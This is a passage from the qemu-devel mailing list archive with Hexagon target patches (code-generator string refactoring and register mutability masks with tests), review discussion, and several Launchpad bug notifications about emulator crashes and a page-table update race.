 target/hexagon/gen_tcg_funcs.py | 317 +++-
 target/hexagon/hex_common.py|   4 +-
 11 files changed, 198 insertions(+), 229 deletions(-)

diff --git a/target/hexagon/gen_helper_funcs.py 
b/target/hexagon/gen_helper_funcs.py
index 7a224b66e6..dc67eaf716 100755
--- a/target/hexagon/gen_helper_funcs.py
+++ b/target/hexagon/gen_helper_funcs.py
@@ -38,23 +38,23 @@ def gen_helper_return_type_pair(f,regtype,regid,regno):
 
 def gen_helper_arg(f,regtype,regid,regno):
 if regno > 0 : f.write(", " )
-f.write("int32_t %s%sV" % (regtype,regid))
+f.write(f"int32_t {regtype}{regid}V")
 
 def gen_helper_arg_new(f,regtype,regid,regno):
 if regno >= 0 : f.write(", " )
-f.write("int32_t %s%sN" % (regtype,regid))
+f.write(f"int32_t {regtype}{regid}N")
 
 def gen_helper_arg_pair(f,regtype,regid,regno):
 if regno >= 0 : f.write(", ")
-f.write("int64_t %s%sV" % (regtype,regid))
+f.write(f"int64_t {regtype}{regid}V")
 
 def gen_helper_arg_ext(f,regtype,regid,regno):
 if regno > 0 : f.write(", ")
-f.write("void *%s%sV_void" % (regtype,regid))
+f.write(f"void *{regtype}{regid}V_void")
 
 def gen_helper_arg_ext_pair(f,regtype,regid,regno):
 if regno > 0 : f.write(", ")
-f.write("void *%s%sV_void" % (regtype,regid))
+f.write(f"void *{regtype}{regid}V_void")
 
 def gen_helper_arg_opn(f,regtype,regid,i,tag):
 if (hex_common.is_pair(regid)):
@@ -76,27 +76,25 @@ def gen_helper_arg_opn(f,regtype,regid,i,tag):
 print("Bad register parse: ",regtype,regid,toss,numregs)
 
 def gen_helper_arg_imm(f,immlett):
-f.write(", int32_t %s" % (hex_common.imm_name(immlett)))
+f.write(f", int32_t {hex_common.imm_name(immlett)}")
 
 def gen_helper_dest_decl(f,regtype,regid,regno,subfield=""):
-f.write("int32_t %s%sV%s = 0;\n" % \
-(regtype,regid,subfield))
+f.write(f"int32_t {regtype}{regid}V{subfield} = 0;\n")
 
 def gen_helper_dest_decl_pair(f,regtype,regid,regno,subfield=""):
-f.write("int64_t %s%sV%s = 0;\n" % \
-(regtype,regid,subfield))
+f.write(f"int64_t {regtype}{regid}V{subfield} = 0;\n")
 
 def gen_helper_dest_decl_ext(f,regtype,regid):
 if (regtype == "Q"):
-f.write("/* %s%sV is *(MMQReg *)(%s%sV_void) */\n" % \
-(regtype,regid,regtype,regid))
+f.write(f"/* {regtype}{regid}V is *(MMQReg *)"
+f"({regtype}{regid}V_void) */\n")
 else:
-f.write("/* %s%sV is *(MMVector *)(%s%sV_void) */\n" % \
-(regtype,regid,regtype,regid))
+f.write(f"/* {regtype}{regid}V is *(MMVector *)"
+f"({regtype}{regid}V_void) */\n")
 
 def gen_helper_dest_decl_ext_pair(f,regtype,regid,regno):
-f.write("/* %s%sV is *(MMVectorPair *))%s%sV_void) */\n" % \
-(regtype,regid,regtype, regid))
+f.write(f"/* {regtype}{regid}V is *(MMVectorPair *))"
+f"{regtype}{regid}V_void) */\n")
 
 def gen_helper_dest_decl_opn(f,regtype,regid,i):
 if (hex_common.is_pair(regid)):
@@ -114,21 +112,21 @@ def gen_helper_dest_decl_opn(f,regtype,regid,i):
 
 def gen_helper_src_var_ext(f,regtype,regid):
 if (regtype == "Q"):
-   f.write("/* %s%sV is *(MMQReg *)(%s%sV_void) */\n" % \
-   (regtype,regid,regtype,regid))
+   f.write(f"/* {regtype}{regid}V is *(MMQReg *)"
+   f"({regtype}{regid}V_void) */\n")
 else:
-   f.write("/* %s%sV is *(MMVector *)(%s%sV_void) */\n" % \
-   (regtype,regid,regtype,regid))
+   f.write(f"/* {regtype}{regid}V is *(MMVector *)"
+   f"({regtype}{regid}V_void) */\n")
 
 def gen_helper_src_var_ext_pair(f,regtype,regid,regno):
-f.write("/* %s%sV%s is *(MMVectorPair *)(%s%sV%s_void) */\n" % \
-(regtype,regid,regno,regtype,regid,regno))
+f.write(f"/* {regtype}{regid}V{regno} is *(MMVectorPair *)"
+f"({regtype}{regid}V{regno}_void) */\n")
 
 def gen_helper_return(f,regtype,regid,re

[PATCH v3] Hexagon (target/hexagon) implement mutability mask for GPRs

2023-01-05 Thread Marco Liebel

Some registers are defined to have immutable bits, this commit
will implement that behavior.

Signed-off-by: Marco Liebel 
---
 target/hexagon/genptr.c   |  44 -
 tests/tcg/hexagon/Makefile.target |   1 +
 tests/tcg/hexagon/reg_mut.c   | 152 ++
 3 files changed, 195 insertions(+), 2 deletions(-)
 create mode 100644 tests/tcg/hexagon/reg_mut.c

diff --git a/target/hexagon/genptr.c b/target/hexagon/genptr.c
index 6cf2e0ed43..94420d9e5a 100644
--- a/target/hexagon/genptr.c
+++ b/target/hexagon/genptr.c
@@ -43,6 +43,33 @@ TCGv gen_read_preg(TCGv pred, uint8_t num)
 return pred;
 }
 
+#define IMMUTABLE (~0)
+
+static const target_ulong reg_immut_masks[TOTAL_PER_THREAD_REGS] = {
+[HEX_REG_USR] = 0xc13000c0,
+[HEX_REG_PC] = IMMUTABLE,
+[HEX_REG_GP] = 0x3f,
+[HEX_REG_UPCYCLELO] = IMMUTABLE,
+[HEX_REG_UPCYCLEHI] = IMMUTABLE,
+[HEX_REG_UTIMERLO] = IMMUTABLE,
+[HEX_REG_UTIMERHI] = IMMUTABLE,
+};
+
+static inline void gen_masked_reg_write(TCGv new_val, TCGv cur_val,
+target_ulong reg_mask)
+{
+if (reg_mask) {
+TCGv tmp = tcg_temp_new();
+
+/* new_val = (new_val & ~reg_mask) | (cur_val & reg_mask) */
+tcg_gen_andi_tl(new_val, new_val, ~reg_mask);
+tcg_gen_andi_tl(tmp, cur_val, reg_mask);
+tcg_gen_or_tl(new_val, new_val, tmp);
+
+tcg_temp_free(tmp);
+}
+}
+
 static inline void gen_log_predicated_reg_write(int rnum, TCGv val,
 uint32_t slot)
 {
@@ -69,6 +96,9 @@ static inline void gen_log_predicated_reg_write(int rnum, 
TCGv val,
 
 void gen_log_reg_write(int rnum, TCGv val)
 {
+const target_ulong reg_mask = reg_immut_masks[rnum];
+
+gen_masked_reg_write(val, hex_gpr[rnum], reg_mask);
 tcg_gen_mov_tl(hex_new_value[rnum], val);
 if (HEX_DEBUG) {
 /* Do this so HELPER(debug_commit_end) will know */
@@ -114,19 +144,29 @@ static void gen_log_predicated_reg_write_pair(int rnum, 
TCGv_i64 val,
 
 static void gen_log_reg_write_pair(int rnum, TCGv_i64 val)
 {
+const target_ulong reg_mask_low = reg_immut_masks[rnum];
+const target_ulong reg_mask_high = reg_immut_masks[rnum + 1];
+TCGv val32 = tcg_temp_new();
+
 /* Low word */
-tcg_gen_extrl_i64_i32(hex_new_value[rnum], val);
+tcg_gen_extrl_i64_i32(val32, val);
+gen_masked_reg_write(val32, hex_gpr[rnum], reg_mask_low);
+tcg_gen_mov_tl(hex_new_value[rnum], val32);
 if (HEX_DEBUG) {
 /* Do this so HELPER(debug_commit_end) will know */
 tcg_gen_movi_tl(hex_reg_written[rnum], 1);
 }
 
 /* High word */
-tcg_gen_extrh_i64_i32(hex_new_value[rnum + 1], val);
+tcg_gen_extrh_i64_i32(val32, val);
+gen_masked_reg_write(val32, hex_gpr[rnum + 1], reg_mask_high);
+tcg_gen_mov_tl(hex_new_value[rnum + 1], val32);
 if (HEX_DEBUG) {
 /* Do this so HELPER(debug_commit_end) will know */
 tcg_gen_movi_tl(hex_reg_written[rnum + 1], 1);
 }
+
+tcg_temp_free(val32);
 }
 
 void gen_log_pred_write(DisasContext *ctx, int pnum, TCGv val)
diff --git a/tests/tcg/hexagon/Makefile.target 
b/tests/tcg/hexagon/Makefile.target
index 9ee1faa1e1..e8a647d94e 100644
--- a/tests/tcg/hexagon/Makefile.target
+++ b/tests/tcg/hexagon/Makefile.target
@@ -43,6 +43,7 @@ HEX_TESTS += load_align
 HEX_TESTS += atomics
 HEX_TESTS += fpstuff
 HEX_TESTS += overflow
+HEX_TESTS += reg_mut
 
 HEX_TESTS += test_abs
 HEX_TESTS += test_bitcnt
diff --git a/tests/tcg/hexagon/reg_mut.c b/tests/tcg/hexagon/reg_mut.c
new file mode 100644
index 00..910e663ace
--- /dev/null
+++ b/tests/tcg/hexagon/reg_mut.c
@@ -0,0 +1,152 @@
+
+/*
+ *  Copyright(c) 2022 Qualcomm Innovation Center, Inc. All Rights Reserved.
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include 
+#include 
+
+static int err;
+
+#define check(N, EXPECT) \
+do { \
+uint64_t value = N; \
+uint64_t expect = EXPECT; \
+if (value != EXPECT) { \
+printf("ERROR: \"%s\" 0x%04llx != 0x%04llx at %s:%d\n", #N, value, 
\
+   expect, __FILE__, __LINE__); \
+err++; \
+} \
+} while (0)
+
+#define check_ne(N, EXPECT) \
+do { \
+uint64_t value = N; \
+uint64_t expect = EXPE

RE: [PATCH v2] Hexagon (target/hexagon) implement mutability mask for GPRs

2023-01-04 Thread Marco Liebel

> -Original Message-
> From: Taylor Simpson 
> Sent: Mittwoch, 21. Dezember 2022 21:06
> To: Marco Liebel ; Marco Liebel (QUIC)
> ; qemu-devel@nongnu.org
> Cc: Brian Cain 
> Subject: RE: [PATCH v2] Hexagon (target/hexagon) implement mutability
> mask for GPRs
> 
> 
> 
> > -----Original Message-
> > From: Marco Liebel 
> > Sent: Wednesday, December 21, 2022 1:34 PM
> > To: Taylor Simpson ; Marco Liebel (QUIC)
> > ; qemu-devel@nongnu.org
> > Cc: Brian Cain 
> > Subject: RE: [PATCH v2] Hexagon (target/hexagon) implement mutability
> > mask for GPRs
> >
> > > > +#define WRITE_REG_IN_PACKET(reg_name, output, input) \
> > > > +asm volatile("{ " reg_name " = %1 }\n\t" \
> > >
> > > This is no different from the WRITE_REG above.  Instructions on a
> > > line with no curly braces are a single packet.
> > >
> >
> > Understood. The feedback on Brian's patch said to write tests that do
> > transfers in a packet. Should I write some? (Just not in the way I did
> > it above)
> 
> Put some more instructions in the packet with the assignment.  I recommend
> a read from the same register and verify you get the old value.
> 

Reading and writing a control register in a single packet isn't possible,
because CR instructions can only be executed in slot 3. I was thinking to
put a nop inside the packet, just so the packet gets generated. Or is there
something else that's useful, other than reading the previous value?

RE: [PATCH v2] Hexagon (target/hexagon) implement mutability mask for GPRs

2022-12-21 Thread Marco Liebel

> > +#define WRITE_REG_IN_PACKET(reg_name, output, input) \
> > +asm volatile("{ " reg_name " = %1 }\n\t" \
> 
> This is no different from the WRITE_REG above.  Instructions on a line with
> no curly braces are a single packet.
> 

Understood. The feedback on Brian's patch said to write tests that do transfers
in a packet. Should I write some? (Just not in the way I did it above)

> > +
> > +/*
> > + * Instruction word: { pc = r0 }
> > + *
> > + * This instruction is barred by the assembler.
> > + *
> > + *3   2   1
> > + *  1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0
> > + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
> > + * |Opc[A2_tfrrcr]   | Src[R0] |P P| |  C9/PC  |
> > + * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
> > + */
> > +#define PC_EQ_R0".word 0x6220c009\n\t"
> > +#define GP_EQ_R0".word 0x6220c00b\n\t"
> > +#define UPCYCLELO_EQ_R0 ".word 0x6220c00e\n\t"
> > +#define UPCYCLEHI_EQ_R0 ".word 0x6220c00f\n\t"
> > +#define UTIMERLO_EQ_R0  ".word 0x6220c01e\n\t"
> > +#define UTIMERHI_EQ_R0  ".word 0x6220c01f\n\t"
> > +
> > +#define C9_8_EQ_R1_0".word 0x6320c008\n\t"
> > +#define C11_10_EQ_R1_0  ".word 0x6320c00a\n\t"
> > +#define C15_14_EQ_R1_0  ".word 0x6320c00e\n\t"
> > +#define C31_30_EQ_R1_0  ".word 0x6320c01e\n\t"
> 
> Only the assignment to PC and C9 (which is an alias for PC) are not allowed by
> the assembler.  For the others, use the normal assembly syntax.
> 

I used the regular names at first, but when running `make check-tcg` it 
generates
errors. For example:
 error: unknown register name 'gp' in asm WRITE_REG(result, "gp", 
0x);

Should I use them anyway?

[PATCH v2] Hexagon (target/hexagon) implement mutability mask for GPRs

2022-12-16 Thread Marco Liebel

Some registers are defined to have immutable bits, this commit
will implement that behavior.

Signed-off-by: Marco Liebel 
---
This incorporates the feedback given on Brian's patch

 target/hexagon/genptr.c   |  43 -
 tests/tcg/hexagon/Makefile.target |   3 +
 tests/tcg/hexagon/reg_mut.c   | 307 ++
 3 files changed, 351 insertions(+), 2 deletions(-)
 create mode 100644 tests/tcg/hexagon/reg_mut.c

diff --git a/target/hexagon/genptr.c b/target/hexagon/genptr.c
index 806d0974ff..a91db8c76d 100644
--- a/target/hexagon/genptr.c
+++ b/target/hexagon/genptr.c
@@ -30,6 +30,32 @@
 #include "gen_tcg.h"
 #include "gen_tcg_hvx.h"
 
+static const target_ulong reg_immut_masks[TOTAL_PER_THREAD_REGS] = {
+[HEX_REG_USR] = 0xc13000c0,
+[HEX_REG_PC] = UINT32_MAX,
+[HEX_REG_GP] = 0x3f,
+[HEX_REG_UPCYCLELO] = UINT32_MAX,
+[HEX_REG_UPCYCLEHI] = UINT32_MAX,
+[HEX_REG_UTIMERLO] = UINT32_MAX,
+[HEX_REG_UTIMERHI] = UINT32_MAX,
+};
+
+static inline void gen_masked_reg_write(TCGv result, TCGv new_val, TCGv 
cur_val,
+target_ulong reg_mask)
+{
+if (reg_mask) {
+TCGv tmp = tcg_temp_new();
+
+/* out_val = (in_val & reg_mask) | (cur_val & ~reg_mask) */
+/* result is used to avoid creating a second temporary variable */
+tcg_gen_andi_tl(result, new_val, ~reg_mask);
+tcg_gen_andi_tl(tmp, cur_val, reg_mask);
+tcg_gen_or_tl(result, result, tmp);
+
+tcg_temp_free(tmp);
+}
+}
+
 static inline void gen_log_predicated_reg_write(int rnum, TCGv val, int slot)
 {
 TCGv zero = tcg_constant_tl(0);
@@ -55,6 +81,9 @@ static inline void gen_log_predicated_reg_write(int rnum, 
TCGv val, int slot)
 
 static inline void gen_log_reg_write(int rnum, TCGv val)
 {
+const target_ulong reg_mask = reg_immut_masks[rnum];
+
+gen_masked_reg_write(val, val, hex_gpr[rnum], reg_mask);
 tcg_gen_mov_tl(hex_new_value[rnum], val);
 if (HEX_DEBUG) {
 /* Do this so HELPER(debug_commit_end) will know */
@@ -99,19 +128,29 @@ static void gen_log_predicated_reg_write_pair(int rnum, 
TCGv_i64 val, int slot)
 
 static void gen_log_reg_write_pair(int rnum, TCGv_i64 val)
 {
+const target_ulong reg_mask_low = reg_immut_masks[rnum];
+const target_ulong reg_mask_high = reg_immut_masks[rnum + 1];
+TCGv val32 = tcg_temp_new();
+
 /* Low word */
-tcg_gen_extrl_i64_i32(hex_new_value[rnum], val);
+tcg_gen_extrl_i64_i32(val32, val);
+gen_masked_reg_write(val32, val32, hex_gpr[rnum], reg_mask_low);
+tcg_gen_mov_tl(hex_new_value[rnum], val32);
 if (HEX_DEBUG) {
 /* Do this so HELPER(debug_commit_end) will know */
 tcg_gen_movi_tl(hex_reg_written[rnum], 1);
 }
 
 /* High word */
-tcg_gen_extrh_i64_i32(hex_new_value[rnum + 1], val);
+tcg_gen_extrh_i64_i32(val32, val);
+gen_masked_reg_write(val32, val32, hex_gpr[rnum + 1], reg_mask_high);
+tcg_gen_mov_tl(hex_new_value[rnum + 1], val32);
 if (HEX_DEBUG) {
 /* Do this so HELPER(debug_commit_end) will know */
 tcg_gen_movi_tl(hex_reg_written[rnum + 1], 1);
 }
+
+tcg_temp_free(val32);
 }
 
 static inline void gen_log_pred_write(DisasContext *ctx, int pnum, TCGv val)
diff --git a/tests/tcg/hexagon/Makefile.target 
b/tests/tcg/hexagon/Makefile.target
index 96a4d7a614..4e9a20960b 100644
--- a/tests/tcg/hexagon/Makefile.target
+++ b/tests/tcg/hexagon/Makefile.target
@@ -43,9 +43,12 @@ HEX_TESTS += load_align
 HEX_TESTS += atomics
 HEX_TESTS += fpstuff
 HEX_TESTS += overflow
+HEX_TESTS += reg_mut
 
 TESTS += $(HEX_TESTS)
 
+reg_mut: CFLAGS += -I$(SRC_PATH)/target/hexagon/
+
 # This test has to be compiled for the -mv67t target
 usr: usr.c
$(CC) $(CFLAGS) -mv67t -O2 -Wno-inline-asm -Wno-expansion-to-defined $< 
-o $@ $(LDFLAGS)
diff --git a/tests/tcg/hexagon/reg_mut.c b/tests/tcg/hexagon/reg_mut.c
new file mode 100644
index 00..8bbc1559dd
--- /dev/null
+++ b/tests/tcg/hexagon/reg_mut.c
@@ -0,0 +1,307 @@
+
+/*
+ *  Copyright(c) 2022 Qualcomm Innovation Center, Inc. All Rights Reserved.
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include 
+#include 
+
+#include "hex_regs.h"
+
+static int err;
+
+enum {
+HEX_REG_PAIR_C9_8,
+HEX_REG_PAIR_C11_10,
+

[Bug 1911351] Re: x86-64 MTTCG Does not update page table entries atomically

2021-05-12 Thread Marco

Closing issue as it has been migrated to https://gitlab.com/qemu-
project/qemu/-/issues/279

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1911351

Title:
  x86-64 MTTCG Does not update page table entries atomically

Status in QEMU:
  Invalid

Bug description:
  It seems like the qemu tcg code for x86-64 doesn't write the access
  and dirty bits of the page table entries atomically. Instead, they
  first read the entry, see if they need to set the page table entry,
  and then write back the updated page table entry. So if you have two
  threads running at the same time, one accessing the virtual address
  over and over again, and the other modifying the page table entry, it
  is possible that after the second thread modifies the page table
  entry, qemu overwrites the value with the old page table entry value,
  with the access/dirty flags set.

  Here's a unit test that reproduces this behavior:

  https://github.com/mvanotti/kvm-unit-
  tests/commit/09f9722807271226a714b04f25174776454b19cd

  You can run it with:

  ```
  /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults \
  -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 \
  -vnc none -serial stdio -device pci-testdev \
  -smp 4 -machine q35 --accel tcg,thread=multi \
  -kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  ```

  Expected output (failure):

  ```
  kvm-unit-tests$ make && /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults 
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none 
-serial stdio -device pci-testdev -smp 4 -machine q35 --accel tcg,thread=multi  
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  enabling apic
  enabling apic
  enabling apic
  enabling apic
  paging enabled
  cr0 = 80010011
  cr3 = 627000
  cr4 = 20
  found 4 cpus
  PASS: Need more than 1 CPU
  Detected overwritten PTE:
  want: 0x0062e007
  got:  0x0062d027
  FAIL: PTE not overwritten
  PASS: All Reads were zero
  SUMMARY: 3 tests, 1 unexpected failures
  ```

  This bug allows user-to-root privilege escalation inside the guest VM:
  if the user is able overwrite an entry that belongs to a second-to-
  last level page table, and is able to allocate the referenced page,
  then the user would be in control of a last-level page table, being
  able to map any memory they want. This is not uncommon in situations
  where memory is being decomitted.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1911351/+subscriptions

[Bug 1911351] Re: x86-64 MTTCG Does not update page table entries atomically

2021-05-12 Thread Marco

Closing issue as it has been migrated to https://gitlab.com/qemu-
project/qemu/-/issues/279

** Changed in: qemu
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1911351

Title:
  x86-64 MTTCG Does not update page table entries atomically

Status in QEMU:
  Invalid

Bug description:
  It seems like the qemu tcg code for x86-64 doesn't write the access
  and dirty bits of the page table entries atomically. Instead, they
  first read the entry, see if they need to set the page table entry,
  and then write back the updated page table entry. So if you have two
  threads running at the same time, one accessing the virtual address
  over and over again, and the other modifying the page table entry, it
  is possible that after the second thread modifies the page table
  entry, qemu overwrites the value with the old page table entry value,
  with the access/dirty flags set.

  Here's a unit test that reproduces this behavior:

  https://github.com/mvanotti/kvm-unit-
  tests/commit/09f9722807271226a714b04f25174776454b19cd

  You can run it with:

  ```
  /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults \
  -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 \
  -vnc none -serial stdio -device pci-testdev \
  -smp 4 -machine q35 --accel tcg,thread=multi \
  -kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  ```

  Expected output (failure):

  ```
  kvm-unit-tests$ make && /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults 
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none 
-serial stdio -device pci-testdev -smp 4 -machine q35 --accel tcg,thread=multi  
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  enabling apic
  enabling apic
  enabling apic
  enabling apic
  paging enabled
  cr0 = 80010011
  cr3 = 627000
  cr4 = 20
  found 4 cpus
  PASS: Need more than 1 CPU
  Detected overwritten PTE:
  want: 0x0062e007
  got:  0x0062d027
  FAIL: PTE not overwritten
  PASS: All Reads were zero
  SUMMARY: 3 tests, 1 unexpected failures
  ```

  This bug allows user-to-root privilege escalation inside the guest VM:
  if the user is able overwrite an entry that belongs to a second-to-
  last level page table, and is able to allocate the referenced page,
  then the user would be in control of a last-level page table, being
  able to map any memory they want. This is not uncommon in situations
  where memory is being decomitted.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1911351/+subscriptions

[Bug 1911351] Re: x86-64 MTTCG Does not update page table entries atomically

2021-05-12 Thread Marco

This issue has been migrated to gitlab issue #279. See
https://gitlab.com/qemu-project/qemu/-/issues/279

** Bug watch added: gitlab.com/qemu-project/qemu/-/issues #279
   https://gitlab.com/qemu-project/qemu/-/issues/279

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1911351

Title:
  x86-64 MTTCG Does not update page table entries atomically

Status in QEMU:
  Invalid

Bug description:
  It seems like the qemu tcg code for x86-64 doesn't write the access
  and dirty bits of the page table entries atomically. Instead, they
  first read the entry, see if they need to set the page table entry,
  and then write back the updated page table entry. So if you have two
  threads running at the same time, one accessing the virtual address
  over and over again, and the other modifying the page table entry, it
  is possible that after the second thread modifies the page table
  entry, qemu overwrites the value with the old page table entry value,
  with the access/dirty flags set.

  Here's a unit test that reproduces this behavior:

  https://github.com/mvanotti/kvm-unit-
  tests/commit/09f9722807271226a714b04f25174776454b19cd

  You can run it with:

  ```
  /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults \
  -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 \
  -vnc none -serial stdio -device pci-testdev \
  -smp 4 -machine q35 --accel tcg,thread=multi \
  -kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  ```

  Expected output (failure):

  ```
  kvm-unit-tests$ make && /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults 
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none 
-serial stdio -device pci-testdev -smp 4 -machine q35 --accel tcg,thread=multi  
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  enabling apic
  enabling apic
  enabling apic
  enabling apic
  paging enabled
  cr0 = 80010011
  cr3 = 627000
  cr4 = 20
  found 4 cpus
  PASS: Need more than 1 CPU
  Detected overwritten PTE:
  want: 0x0062e007
  got:  0x0062d027
  FAIL: PTE not overwritten
  PASS: All Reads were zero
  SUMMARY: 3 tests, 1 unexpected failures
  ```

  This bug allows user-to-root privilege escalation inside the guest VM:
  if the user is able overwrite an entry that belongs to a second-to-
  last level page table, and is able to allocate the referenced page,
  then the user would be in control of a last-level page table, being
  able to map any memory they want. This is not uncommon in situations
  where memory is being decomitted.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1911351/+subscriptions

[Bug 1862986] Re: qemu-s390x segfaults

2021-05-11 Thread Marco

Fixed in qemu-s390x version 5.2.0 (Debian 1:5.2+dfsg-10)


** Changed in: qemu
   Status: Incomplete => Fix Released

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1862986

Title:
  qemu-s390x segfaults

Status in QEMU:
  Fix Released

Bug description:
  All tested versions (2.11 and 4.2) qemu-s390x crashes with a segfault
  when run on an aarch64 odroid Ubuntu.


  Steps to reproduce:

  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x --version
  qemu-s390x version 4.2.0
  Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x --version
  qemu-s390x version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.22)
  Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers

  qemu-arm does work on the same machine:

  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected


  
  What kind of debug information would be helpful for this issue report?
  GDB for the self-compiled latest release is not particularly helpful:

  (gdb) run
  Starting program: /usr/local/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a2a140 (LWP 28264)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x0096b218 in __bss_start__ ()
  (gdb) bt
  #0  0x0096b218 in __bss_start__ ()
  #1  0x006120a8 in ?? ()
  #2  0x0055579904b0 in ?? ()
  Backtrace stopped: previous frame inner to this frame (corrupt stack?)


  
  A bit more information is available in the version shipped by Ubuntu:

  (gdb) run
  Starting program: /usr/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a01180 (LWP 28271)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x00738f98 in code_gen_buffer ()
  (gdb) bt
  #0  0x00738f98 in code_gen_buffer ()
  #1  0x005e96c8 in cpu_exec ()
  #2  0x005ee430 in cpu_loop ()
  #3  0x005c3328 in main ()

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1862986/+subscriptions

[Bug 1920934] Re: Heap-use-after-free in io_writex / cputlb.c results in Linux kernel crashes

2021-03-24 Thread Marco Elver

The config is from 5.12-rc4, and the earliest kernel version that should
reproduce this is 5.12-rc1.

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1920934

Title:
  Heap-use-after-free in io_writex / cputlb.c results in Linux kernel
  crashes

Status in QEMU:
  New

Bug description:
  qemu version: git 5ca634afcf83215a9a54ca6e66032325b5ffb5f6; 5.2.0

  We've encountered that booting the Linux kernel in TCG mode, results
  in a racy heap-use-after-free. The bug can be detected by ASan [A],
  but in the majority of runs results in a crashing kernel [B].

  To reproduce, the following command line was used:

  $> while ./qemu-system-x86_64 -no-reboot -smp 10 -m 2G -kernel
  arch/x86/boot/bzImage -nographic -append "oops=panic panic_on_warn=1
  panic=1 kfence.sample_interval=1 nokaslr"; do sleep 0.5s; done

  The crashes in the kernel [B] appear to receive an interrupt in a code
  location where the instructions are periodically patched (via the
  jump_label infrastructure).

  [A]:
  = 


 
  ==3552508==ERROR: AddressSanitizer: heap-use-after-free on address 
0x6190007fef50 at pc 0x55885b0b4d1b bp 0x7f83baffb800 sp 0x7f83baffb7f8 


  READ of size 8 at 0x6190007fef50 thread T4


 
  [4.616506][T1] pci :00:02.0: reg 0x18: [mem 
0xfebf-0xfebf0fff]  

   
  [4.670567][T1] pci :00:02.0: reg 0x30: [mem 0xfebe-0xfebe 
pref]   

 
